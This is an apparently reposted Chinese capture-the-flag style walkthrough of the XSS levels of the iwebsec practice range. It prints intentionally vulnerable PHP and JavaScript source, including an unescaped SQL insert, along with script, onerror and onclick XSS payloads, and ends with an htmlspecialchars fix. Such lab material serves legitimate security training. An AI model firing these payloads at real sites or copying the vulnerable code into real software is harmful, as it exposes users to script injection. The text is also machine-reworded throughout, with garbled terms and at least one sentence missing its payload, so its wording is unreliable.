iwebsec靶场 XSS漏洞通关条记
目录前言
1.反射性XSS
2.存储型XSS
3.DOM型XSS
第01关 反射型XSS漏洞
1.打开靶场
2.源码分析
3.排泄
第02关 存储型XSS漏洞
1.打开靶场
2.源码分析
4.排泄
方法1:
方法2
方法3
第03关 DOM XSS漏洞
1.打开靶场
2.源码分析
3.排泄分析
3.排泄过程
(1)排泄方法1
(2)排泄方法2
(3)排泄方法3
第04关 XSS修复示例
1.打开靶场
2.源码分析
3.排泄实战
前言
Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一样平常XSS可以分为如下几种常见类型:
1.反射性XSS
反射型XXS是一种非恒久性的攻击,它指的是恶意攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入此中Web内里的html代码会被执行,从而达到恶意攻击用户的目的。
2.存储型XSS
存储型XSS又名恒久型XSS,攻击的恶意代码会被存储在数据库、文件系统等存储介质,因为是永久存储以是功效恒久。通常来讲攻击者可以把payload放在网站留言板、批评等位置,等用户访问网站并有匹配payload的举动时,即可触发攻击。
3.DOM型XSS
DOM XSS的XSS代码并不需要服务器解析相应的直接到场,触发XSS靠的就是浏览器端的DOM解析,可以认为完满是客户端的事变,无法通过WAF防护。
第01关 反射型XSS漏洞
1.打开靶场
https://i-blog.csdnimg.cn/blog_migrate/95333f2943d0ae79e541f4d3df9ff346.png
2.源码分析
如下所示,未对传入参数name进行任何过滤,存在xss漏洞
<?php require_once '../header.php'; ?>
<html>
<head>
<title>反射型XSS漏洞</title>
</head>
<h2>反射型XSS漏洞</h2>
<div class="alert alert-success">
<p>/01.php?name=iwebsec </p>
</div>
<body>
<table class='table table-striped'>
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
echo "<h2>"."Hello ".$name."<h2>";
}else{
exit();
}
?>
</table>
很显着,这是一个反射型的XSS漏洞
3.排泄
传入参数
iwebsec 靶场漏洞库iwebsec[这里是图片002]http://iwebsec.com:81/xss/01.php?name=排泄乐成,效果如下所示
https://i-blog.csdnimg.cn/blog_migrate/94020d25861a46bb05a62d7c64f46bb4.png
第02关 存储型XSS漏洞
1.打开靶场
iwebsec 靶场漏洞库iwebsec[这里是图片004]http://iwebsec.com:81/xss/02.php如下所示,这是一个留言板相干内容的网页
https://i-blog.csdnimg.cn/blog_migrate/4288dade74548228c19b442caa900204.png
2.源码分析
如下所示对传入的参数name并未做任何过滤,具备XSS漏洞。
<?php
require_once('../header.php');
require_once('../sqli/db.php');
?>
<html>
<head>
<title>存储型XSS漏洞</title>
</head>
<h2>存储型XSS漏洞</h2>
<div class="alert alert-success">
<p>请输入你的留言信息</p>
</div>
<formmethod="get">
<input type="text" name="name">
<input type="submit" value="submit">
</form>
<body>
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
$sql="INSERT INTO xss set name='$name'";
$result=mysql_query($sql);
$sql="SELECT * FROM xss";
$result=mysql_query($sql);
}
else{
exit();
}
if ($result) {
?>
<table class='table table-striped'>
<tr><th>id</th><th>name</th></tr>
<?php
while ($row = mysql_fetch_assoc($result)) {
echo "<tr>";
echo "<td>".$row['id']."</td>";
echo "<td>".$row['name']."</td>";
echo "</tr>";
}
echo "</table>";
}
else
{
print_r(mysql_error());
}
?>
同时对参数name使用SQL语句进行insert存储,关键源码如下
$sql="INSERT INTO xss set name='$name'";
$result=mysql_query($sql);
接下来再使用select查询语句将其展示出来,关键源码如下
$sql="SELECT * FROM xss";
$result=mysql_query($sql);
很显着这是具有存储型XSS漏洞,注入的XSS命令会永久存储到服务器,从而触发XSS漏洞。
4.排泄
方法1:
这里要注意的是,因为涉及到SQL语句,第一个SQL插入源码如下所示,闭合方式为单引号。
$sql="INSERT INTO xss set name='$name'";
故而name的赋值不可以有单引号,故而假如想输出ljn,那么参数不能是这是因为包含了单引号
<script>alert(/xss/)</script>
如下所示
https://i-blog.csdnimg.cn/blog_migrate/25c9894a414a120c945bededbb39a4c2.png
排泄效果如下所示
https://i-blog.csdnimg.cn/blog_migrate/0825e8b0b640907390895eda9771ab10.png
方法2
因为使用SQL语句单引号闭合,故而可以选择使用双引号来进行排泄
<script>alert("hello ljn")</script>
在留言处输入参数后如下所示
https://i-blog.csdnimg.cn/blog_migrate/94b994b0c2b6a8b3464ad7c355ea200c.png
如下所示,排泄乐成
https://i-blog.csdnimg.cn/blog_migrate/687c09f4497204db5c8fa88456d87432.png
方法3
<script>alert(20221128)</script>
如下所示排泄乐成
https://i-blog.csdnimg.cn/blog_migrate/0774f4f15af031579c61af54f21c68b1.png
第03关 DOM XSS漏洞
1.打开靶场
iwebsec 靶场漏洞库iwebsec[这里是图片011]http://iwebsec.com:81/xss/03.php
https://i-blog.csdnimg.cn/blog_migrate/e8adcd40e049c7e84a1b2ba1422f5acb.png
2.源码分析
如下代码中存在domxss函数,可能存在dom型xss漏洞
<?php require_once '../header.php'; ?>
<html>
<head>
<title>DOM XSS漏洞</title>
</head>
<h2>DOM XSS漏洞</h2>
<div class="alert alert-success">
<p>请输入内容 </p>
</div>
<body>
<table class='table table-striped'>
<script>
function domxss()
{
var str = document.getElementById("input").value;
document.getElementById("output").innerHTML = str;
}
</script>
<h2 id = "output"></h2>
<input type="text" id="input" value="" />
<input type="button" value="submit" onclick="domxss()" />
</table>
3.排泄分析
输入参数,判断是否有过滤信息
'"<>?%66666ljn
在当前页面元素,搜索框中输入关键字搜索ljn,寻找刚刚输入的内容,很显着全部字符都还在,并不存在过滤单引号和双引号等特殊字符, 并将输入内容显示到页面中。
https://i-blog.csdnimg.cn/blog_migrate/11a342dd09fc1cb78d97cd6397d23975.png
接下来分析一下闭合关系,查看器中的内容如下,于是可以输入完整的xss语句,通过将内容输出到页面,再出发显示到页面的内容执行xss脚本。
<h2 id="output">'"<>?%66666ljn</h2>
3.排泄过程
(1)排泄方法1
基于此可以构造闭合,参数输入xss恶意脚本(点击ljn后输出你好)
<li/onclick=alert('你好')>ljn</li>
输入后提交如下所示
https://i-blog.csdnimg.cn/blog_migrate/71685dfca24631633e5ba8f71905fe87.png
在页面的ljn处点击鼠标,则弹出你好,排泄乐成
https://i-blog.csdnimg.cn/blog_migrate/f8b14d37608ab5f0c035ac36e92a997a.png
(2)排泄方法2
参数为xss恶意脚本(因图标执行错误而出发弹框输出ljn)
<img src=1 onerror=alert('ljn')>
如下所示,排泄乐成
https://i-blog.csdnimg.cn/blog_migrate/bf0e06ef0c65458c1be49df972c36a3b.png
(3)排泄方法3
参数为xss恶意脚本(鼠标移动到图标后输出ljn)
<img src="#" onmouseover="alert('ljn')">
提交后如下图所示
https://i-blog.csdnimg.cn/blog_migrate/25da84889953a8cebfdc3447ed45ee26.png
当鼠标移动到图标处时,弹出弹框,排泄乐成
https://i-blog.csdnimg.cn/blog_migrate/5f3c2e22d629339258294275209496cb.png
第04关 XSS修复示例
1.打开靶场
iwebsec 靶场漏洞库iwebsec[这里是图片019]http://iwebsec.com:81/xss/04.php
https://i-blog.csdnimg.cn/blog_migrate/c447aaf712603ff882d629b430eed333.png
2.源码分析
如下所示对参数使用了htmlspecialchars函数过滤,这样就可以防范恶意的xss攻击
<?php require_once '../header.php'; ?>
<html>
<head>
<title>XSS修复示例</title>
</head>
<h2>XSS修复示例</h2>
<div class="alert alert-success">
<p>/04.php?name=iwebsec </p>
</div>
<body>
<table class='table table-striped'>
<?php
if(isset($_GET['name'])){
$name=$_GET['name'];
echo "<h2>"."Hello ".htmlspecialchars($name)."<h2>";
}else{
exit();
}
?>
</table>
3.排泄实战
再次尝试第01关排泄乐成的内容
<script>alert('ljn')</script>
如下所示,排泄失败,说明xss漏洞修复乐成
https://i-blog.csdnimg.cn/blog_migrate/fcae3f6b3c5370804c472afa71b9f16a.png
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]